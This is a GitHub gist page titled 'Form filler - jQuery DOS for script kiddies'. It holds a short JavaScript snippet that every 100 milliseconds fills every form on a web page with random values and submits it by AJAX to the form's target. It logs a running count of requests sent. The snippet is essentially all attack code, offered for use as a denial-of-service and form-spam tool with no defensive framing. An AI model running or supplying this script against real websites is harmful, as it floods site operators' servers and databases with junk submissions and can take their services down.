Skip to content

Instantly share code, notes, and snippets.

@KeySeeDev
Last active August 31, 2020 09:50
Show Gist options
  • Save KeySeeDev/a4fa930a0cf5669828c0ae53e5c8236a to your computer and use it in GitHub Desktop.
Save KeySeeDev/a4fa930a0cf5669828c0ae53e5c8236a to your computer and use it in GitHub Desktop.
Form filler - jQuery DOS for script kiddies
function myrand() { return new Date().getTime() + '' + parseInt(Math.random() * 1000000000) };
function restore_console() { var i = document.createElement('iframe'); i.style.display = 'none'; document.body.appendChild(i); window.console = i.contentWindow.console; }
restore_console();
var sent = 0;
setInterval(function() {
sent++;
$('form').each(function() {
var data = {};
var $form = $(this);
$form.find(':input').each(function() { data[this.name] = myrand() });
$.ajax({
data: data,
url: $form.attr('action'),
method: $form.attr('method'),
success: function() {
sent++;
console.log(sent);
}
});
});
}, 100);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment